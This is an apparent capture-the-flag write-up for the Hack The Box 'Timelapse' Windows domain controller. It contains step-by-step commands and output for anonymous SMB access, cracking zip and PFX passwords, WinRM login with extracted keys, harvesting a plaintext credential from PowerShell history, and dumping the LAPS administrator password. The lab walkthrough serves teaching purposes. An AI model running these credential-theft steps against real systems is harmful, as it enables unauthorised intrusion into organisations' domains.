Timelapse

at this machine we first login with anonymous login at smb and file zip file we crack it and extract pfx file we can extract it and get private key and public key from it to log with winrm and got the first flag , by checking powershell history found hardcoded credentials for user and find that user in laps group that can read password so we got the administrator password and log with it and get the root flag

lets first start with recon

```
┌──(root㉿meow)-[~/htb/timelapce]
└─# nmap 10.129.227.105 -p-  -T4
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-27 22:02 EDT
Stats: 0:00:09 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 0.46% done
Stats: 0:01:29 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 17.52% done; ETC: 22:11 (0:07:04 remaining)
Stats: 0:04:41 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 84.61% done; ETC: 22:08 (0:00:51 remaining)
Nmap scan report for 10.129.227.105
Host is up (0.18s latency).
Not shown: 65519 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
5986/tcp  open  wsmans
9389/tcp  open  adws
49667/tcp open  unknown
49675/tcp open  unknown
49676/tcp open  unknown
49698/tcp open  unknown
62011/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 314.23 seconds
```

we not found any web here so lets check smb

```
┌──(root㉿meow)-[~/htb/timelapce]
└─# smbclient -L \\\\10.129.227.105\\
Password for [WORKGROUP\root]:

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share
        Shares          Disk
        SYSVOL          Disk      Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.227.105 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

nice lets try get int shares directory with anonymous login

```
┌──(root㉿meow)-[~/htb/timelapce]
└─# smbclient -L \\\\10.129.227.105\\shares
Password for [WORKGROUP\root]:

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share
        Shares          Disk
        SYSVOL          Disk      Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.227.105 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

┌──(root㉿meow)-[~/htb/timelapce]
└─# smbclient  \\\\10.129.227.105\\shares
Password for [WORKGROUP\root]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Mon Oct 25 11:39:15 2021
  ..                                  D        0  Mon Oct 25 11:39:15 2021
  Dev                                 D        0  Mon Oct 25 15:40:06 2021
  HelpDesk                            D        0  Mon Oct 25 11:48:42 2021

                6367231 blocks of size 4096. 1286108 blocks available
smb: \> cd Dev\
smb: \Dev\> ls
  .                                   D        0  Mon Oct 25 15:40:06 2021
  ..                                  D        0  Mon Oct 25 15:40:06 2021
  winrm_backup.zip                    A     2611  Mon Oct 25 11:46:42 2021

                6367231 blocks of size 4096. 1286108 blocks available
smb: \Dev\> get winrm_backup.zip
getting file \Dev\winrm_backup.zip of size 2611 as winrm_backup.zip (4.0 KiloBytes/sec) (average
 4.0 KiloBytes/sec)
smb: \Dev\> SMBecho failed (NT_STATUS_CONNECTION_RESET). The connection is disconnected now
```

and we found zip file with password lets try crack with john `john --wordlist=/usr/share/wordlists/rockyou.txt zip.hash`

```
┌──(root㉿meow)-[~/htb/timelapce]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt zip.hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
supremelegacy    (winrm_backup.zip/legacyy_dev_auth.pfx)
1g 0:00:00:03 DONE (2023-07-27 21:48) 0.3067g/s 1065Kp/s 1065Kc/s 1065KC/s
 surkerior..superkebab
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

lets unzip it and get files

```
┌──(root㉿meow)-[~/htb/timelapce]
└─# unzip winrm_backup.zip
Archive:  winrm_backup.zip
[winrm_backup.zip] legacyy_dev_auth.pfx password:
  inflating: legacyy_dev_auth.pfx
```

so we got pfx file , and after search find that inside this file there is an certificate so we want to extract private key and public key

https://tecadmin.net/extract-private-key-and-certificate-files-from-pfx-file/#google_vignette

and we at first need password so get the keys for this we gonna crack the pfx file by pfx2john then doing john

`pfx2john legacyy_dev_auth.pfx > pfx.hash`

`john --wordlist=/usr/share/wordlists/rockyou.txt pfx.hash`

```
┌──(root㉿meow)-[~/htb/timelapce]
└─# pfx2john legacyy_dev_auth.pfx > pfx.hash

┌──(root㉿meow)-[~/htb/timelapce]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt pfx.hash
Using default input encoding: UTF-8
Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 128/128 AVX 4x])
Cost 1 (iteration count) is 2000 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
thuglegacy       (legacyy_dev_auth.pfx)
1g 0:00:05:41 DONE (2023-07-27 22:17) 0.002925g/s 9453p/s 9453c/s 9453C/s thuglife06..thug211
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

lets extract the keys

for private key : `openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out con.key`

for public key : `openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out certificate.pem`

```
┌──(root㉿meow)-[~/htb/timelapce]
└─# openssl pkcs12 -in legacyy_dev_auth.pfx  -nocerts -out con.key
Enter Import Password:
Enter PEM pass phrase:
Verifying - Enter PEM pass phrase:

┌──(root㉿meow)-[~/htb/timelapce]
└─# ls
con.key  legacyy_dev_auth.pfx  notes  pfx.hash  winrm_backup.zip  zip.hash

┌──(root㉿meow)-[~/htb/timelapce]
└─# openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out certificate.pem
Enter Import Password:
┌──(root㉿meow)-[~/htb/timelapce]
└─# ls
certificate.pem  legacyy_dev_auth.pfx  pfx.hash          zip.hash
con.key          notes                 winrm_backup.zip
```

then decrypt the private key : `openssl rsa -in con.key -out drlive-decrypted.key`

we now can log from winrm with those keys

`evil-winrm -i 10.129.227.105 -k drlive-decrypted.key -c certificate.cer -S`

and we can’t log until we enable ssl with -S

```
┌──(root㉿meow)-[~/htb/timelapce]
└─# evil-winrm -i 10.129.227.105  -k drlive-decrypted.key -c certificate.cer -S

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Warning: SSL enabled

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\legacyy\Documents> whoami
timelapse\legacyy
*Evil-WinRM* PS C:\Users\legacyy\Documents> cd ../desktop
*Evil-WinRM* PS C:\Users\legacyy\desktop> dir


    Directory: C:\Users\legacyy\desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-ar---        7/28/2023   2:43 AM             34 user.txt


*Evil-WinRM* PS C:\Users\legacyy\desktop> type user.txt
1bdf01303a6e639cddea2ebb591bb341
*Evil-WinRM* PS C:\Users\legacyy\desktop>
```

nice and got the user flag

for root

I checked powershell history by this path

`$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine`

from https://0xdf.gitlab.io/2018/11/08/powershell-history-file.html

```
*Evil-WinRM* PS C:\Users\legacyy> cd $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine
*Evil-WinRM* PS C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine> ls


    Directory: C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         3/3/2022  11:46 PM            434 ConsoleHost_history.txt


*Evil-WinRM* PS C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine> type ConsoleHost_history.txt
whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -
SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
exit
```

and we find hardcoded credentials , and by check this user

```
*Evil-WinRM* PS C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine> net user svc_deploy
User name                    svc_deploy
Full Name                    svc_deploy
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            10/25/2021 12:12:37 PM
Password expires             Never
Password changeable          10/26/2021 12:12:37 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   10/25/2021 12:25:53 PM

Logon hours allowed          All

Local Group Memberships      *Remote Management Use
Global Group memberships     *LAPS_Readers         *Domain Users
The command completed successfully.
```

found that its in group laps https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/ous/laps/

and we can retrieve the administrator password stored , and we can got this by two ways

the first way from https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/laps

`crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps`

```
┌──(root㉿meow)-[~/htb/timelapce]
└─# crackmapexec  ldap 10.129.227.105  -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' --kdcHost 10.129.227.105 -M laps
SMB         10.129.227.105  445    DC01            [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:False)
LDAP        10.129.227.105  389    DC01            [+] timelapse.htb\svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV
LAPS        10.129.227.105  389    DC01            [*] Getting LAPS Passwords
LAPS        10.129.227.105  389    DC01            Computer: DC01$               Password: 8pX.ZW1s-45CIrx20S/p..M4
```

the second way is to log to svc_deploy and do `Get-ADComputer -Filter 'ObjectClass -eq "computer"' -Property *`

```
MNSLogonAccount                 : False
Modified                        : 7/28/2023 2:43:10 AM
modifyTimeStamp                 : 7/28/2023 2:43:10 AM
ms-Mcs-AdmPwd                   : 8pX.ZW1s-45CIrx20S/p..M4
ms-Mcs-AdmPwdExpirationTime     : 133354429908626409
msDFSR-ComputerReferenceBL      : {CN=DC01,CN=Topology,CN=Domain System Volume,CN=DFSR-GlobalSettings,CN=System,DC=
timelapse,DC=htb}
msDS-GenerationId               : {38, 33, 20, 77...}
msDS-SupportedEncryptionTypes   : 28
msDS-User-Account-Control-Computed : 0
Name                            : DC01
nTSecurityDescriptor            : System.DirectoryServices.ActiveDirectorySecurity
ObjectCategory                  : CN=Computer,CN=Schema,CN=Configuration,DC=timelapse,DC=htb
ObjectClass                     : computer
```

nice we got it , lets log as administrator and get root flag

not found the root flag in administrator directory , lets search in another user desktop folder

```
*Evil-WinRM* PS C:\Users> cd TRX
*Evil-WinRM* PS C:\Users\TRX> ls

    Directory: C:\Users\TRX

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-r---         3/3/2022  10:45 PM                3D Objects
d-r---         3/3/2022  10:45 PM                Contacts
d-r---         3/3/2022  10:45 PM                Desktop
d-r---         3/3/2022  10:45 PM                Documents
d-r---         3/3/2022  10:45 PM                Downloads
d-r---         3/3/2022  10:45 PM                Favorites
d-r---         3/3/2022  10:45 PM                Links
d-r---         3/3/2022  10:45 PM                Music
d-r---         3/3/2022  10:45 PM                Pictures
d-r---         3/3/2022  10:45 PM                Saved Games
d-r---         3/3/2022  10:45 PM                Searches
d-r---         3/3/2022  10:45 PM                Videos

c*Evil-WinRM* PS C:\Users\TRX> cd desktop
*Evil-WinRM* PS C:\Users\TRX\desktop> ls

    Directory: C:\Users\TRX\desktop

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-ar---         7/28/2023   2:43 AM             34 root.txt

*Evil-WinRM* PS C:\Users\TRX\desktop> type root.txt
36827a06c8b35e05f14e3070194559eb
```

and we finish thx for reading ^-^